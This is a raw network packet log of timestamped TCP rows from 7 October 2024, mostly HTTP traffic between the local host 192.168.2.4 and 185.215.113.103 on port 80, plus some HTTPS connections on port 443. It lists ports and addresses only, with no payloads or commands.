Oct 7, 2024 03:23:14.334563971 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334590912 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339663982 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339689016 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339715004 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339737892 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339751005 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339766979 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339783907 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339792013 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339801073 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.339816093 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339828014 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.339843988 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.340477943 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.340524912 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.340536118 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.340553045 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.340569019 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.340575933 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.340585947 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.340586901 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.340600967 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.340619087 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.341321945 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.341396093 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.341413021 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.341427088 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.341439009 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.341464043 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.341470003 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.341490030 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.341511965 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.341541052 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.342246056 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.342273951 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.342288971 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.342324018 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.344091892 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.344104052 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.344414949 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.344742060 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.344808102 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.344814062 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.344856024 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.344957113 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.344999075 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.345139027 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.345180035 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.345328093 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.345370054 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.348596096 CEST	49850	443	192.168.2.4	142.250.185.142
Oct 7, 2024 03:23:14.348614931 CEST	443	49850	142.250.185.142	192.168.2.4
Oct 7, 2024 03:23:14.353300095 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.353310108 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.354012012 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.354017973 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.430653095 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430670977 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430686951 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430701971 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430736065 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430736065 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430813074 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430840969 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430856943 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430857897 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430876017 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.430876970 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430896044 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.430911064 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431034088 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431058884 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431071997 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431073904 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431091070 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431097031 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431107044 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431108952 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431123018 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431139946 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431441069 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431480885 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431507111 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431523085 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431539059 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431545019 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431555033 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431555986 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431576967 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431587934 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.431957006 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431972980 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.431997061 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.432008028 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.432023048 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.432027102 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.432038069 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.432039022 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.432055950 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.432060003 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.432077885 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.432086945 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.435544014 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435564041 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435589075 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.435604095 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.435825109 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435863018 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.435954094 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435971022 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435987949 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.435995102 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436006069 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436021090 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436028004 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436039925 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436044931 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436055899 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436069965 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436074972 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436089039 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436110973 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436609030 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436628103 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436644077 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436657906 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436672926 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436688900 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436773062 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436789989 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436809063 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436811924 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436821938 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436825991 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436842918 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436846972 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436857939 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436860085 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.436877012 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.436897039 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.437531948 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.437546968 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.437565088 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.437582016 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.437583923 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.437597036 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.437616110 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.437650919 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.451086998 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.451278925 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.451344967 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.451389074 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.451389074 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.451405048 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.451412916 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.456964016 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.456984997 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.457075119 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.465063095 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.465076923 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.555303097 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555339098 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555358887 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555375099 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555408955 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555412054 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555425882 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555442095 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555459023 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555474997 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555504084 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555521011 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555536985 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555567026 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555583954 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555600882 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555617094 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555624008 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624008 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624008 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624008 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624008 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624962 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624962 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555624962 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555636883 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555644989 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555644989 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555644989 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555644989 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555656910 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555658102 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555675983 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555680037 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555694103 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555705070 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555711031 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555728912 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.555730104 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555730104 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555756092 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.555775881 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556149960 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556166887 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556184053 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556195974 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556215048 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556226969 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556241989 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556257963 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556278944 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556284904 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556289911 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556303024 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556325912 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556330919 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556334972 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556348085 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556365013 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556370020 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556379080 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556381941 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556401014 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556402922 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556411982 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556416035 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556448936 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556899071 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556915045 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556932926 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.556961060 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556984901 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.556993961 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557010889 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557025909 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557050943 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557055950 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557070017 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557075024 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557091951 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557094097 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557106018 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557110071 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557128906 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557128906 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557147980 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557152987 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557163954 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557168007 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557193995 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557203054 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557650089 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557677984 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557696104 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557712078 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557713032 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557725906 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557733059 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557745934 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557755947 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557760000 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557776928 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557776928 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557794094 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557797909 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557807922 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557811975 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557832003 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557832956 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557843924 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557864904 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557877064 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557893038 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557909012 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557918072 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557925940 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557939053 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557943106 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557946920 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557960033 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.557966948 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557976961 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.557996988 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560555935 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560574055 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560592890 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560610056 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560610056 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560631037 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560636044 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560657024 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560676098 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560679913 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560698032 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560714006 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560723066 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560733080 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560735941 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560744047 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560760021 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560775995 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560782909 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560791016 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560791969 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560807943 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560810089 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.560828924 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.560847044 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642033100 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642060995 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642088890 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642113924 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642131090 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642132044 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642153978 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642163038 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642170906 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642179966 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642194986 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642205000 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642210960 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642227888 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642231941 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642252922 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642252922 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642270088 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642277956 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642287016 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642293930 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642302990 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.642311096 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.642323971 CEST	80	49842	185.215.113.103	192.168.2.4
